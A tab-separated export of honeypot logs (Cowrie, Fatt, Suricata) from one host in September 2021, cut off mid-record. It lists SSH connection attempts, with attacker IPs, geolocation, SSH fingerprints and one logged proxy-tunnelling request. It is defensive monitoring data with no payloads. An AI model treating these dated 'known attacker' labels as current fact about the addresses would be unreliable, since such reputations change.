28483	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:18:04.15642+03	2021-09-20 14:30:02.891524+03	{"_id": "AAbtAnwBvYTbRNuEZC_m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51266, "timestamp": "2021-09-20T11:18:04.156420", "@timestamp": "2021-09-20T11:18:04.156Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28484	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:18:06.568959+03	2021-09-20 14:30:02.892525+03	{"_id": "CwbtAnwBvYTbRNuEbS-c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1ad8a363ddc9", "@version": "1", "timestamp": "2021-09-20T11:18:06.568959Z", "@timestamp": "2021-09-20T11:18:06.568Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28485	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:18:06.278672+03	2021-09-20 14:30:02.894524+03	{"_id": "DQbtAnwBvYTbRNuEbS-e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1ad8a363ddc9", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:18:06.278672Z", "@timestamp": "2021-09-20T11:18:06.278Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28486	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:18:06.535421+03	2021-09-20 14:30:02.895525+03	{"_id": "DgbtAnwBvYTbRNuEby9a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 572082898201394, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41100, "dest_port": 22, "timestamp": "2021-09-20T11:18:06.535421Z", "@timestamp": "2021-09-20T11:18:06.535Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28487	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:18:06.535581+03	2021-09-20 14:30:02.896525+03	{"_id": "EAbtAnwBvYTbRNuEcC-f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41100, "timestamp": "2021-09-20T11:18:06.535581", "@timestamp": "2021-09-20T11:18:06.535Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28488	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:17:49.663299+03	2021-09-20 14:30:02.898523+03	{"_id": "2gbtAnwBvYTbRNuEKy4q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:46848 (192.168.176.2:22) [session: 373d7f38ef6e]", "session": "373d7f38ef6e", "@version": "1", "protocol": "ssh", "src_port": 46848, "dest_port": 22, "timestamp": "2021-09-20T11:17:49.663299Z", "@timestamp": "2021-09-20T11:17:49.663Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28489	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:17:48.912518+03	2021-09-20 14:30:02.899523+03	{"_id": "3wbtAnwBvYTbRNuEKy4r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 0, "data": "b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nTE: deflate,gzip;q=0.3\\\\r\\\\nConnection: TE, close\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nHost: 96.43.128.70\\\\r\\\\nReferer: http://1632136667.com/\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\n\\\\r\\\\n'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "96.43.128.70", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 0 to 96.43.128.70:80 with data b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nTE: deflate,gzip;q=0.3\\\\r\\\\nConnection: TE, close\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nHost: 96.43.128.70\\\\r\\\\nReferer: http://1632136667.com/\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\n\\\\r\\\\n'", "session": "4b1b382aa686", "@version": "1", "dest_port": 80, "timestamp": "2021-09-20T11:17:48.912518Z", "@timestamp": "2021-09-20T11:17:48.912Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
28490	5.188.62.196	109.199.241.180	Fatt	2021-09-20 14:17:49.728702+03	2021-09-20 14:30:02.900524+03	{"_id": "4wbtAnwBvYTbRNuELi4w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 46848, "dest_port": 22, "timestamp": "2021-09-20T11:17:49.728702", "@timestamp": "2021-09-20T11:17:49.728Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28500	36.27.214.211	109.199.241.180	Fatt	2021-09-20 14:17:50.439406+03	2021-09-20 14:30:02.914524+03	{"_id": "5QbtAnwBvYTbRNuELi4w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 59020, "dest_port": 22, "timestamp": "2021-09-20T11:17:50.439406", "@timestamp": "2021-09-20T11:17:50.439Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28491	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:49.667574+03	2021-09-20 14:30:02.902524+03	{"_id": "5gbtAnwBvYTbRNuELi4y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46848, "timestamp": "2021-09-20T11:17:49.667574", "@timestamp": "2021-09-20T11:17:49.667Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28492	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:17:50.00478+03	2021-09-20 14:30:02.903523+03	{"_id": "6AbtAnwBvYTbRNuELy4T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "69.195.128.18", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 69.195.128.18:80 from 0.0.0.0:0", "session": "373d7f38ef6e", "@version": "1", "src_port": 0, "dest_port": 80, "timestamp": "2021-09-20T11:17:50.004780Z", "@timestamp": "2021-09-20T11:17:50.004Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
28493	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:17:50.439994+03	2021-09-20 14:30:02.905524+03	{"_id": "6QbtAnwBvYTbRNuELy4T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f9e93abe46a4", "@version": "1", "timestamp": "2021-09-20T11:17:50.439994Z", "@timestamp": "2021-09-20T11:17:50.439Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28494	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:18:04.253238+03	2021-09-20 14:30:02.906524+03	{"_id": "AQbtAnwBvYTbRNuEZC_m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": 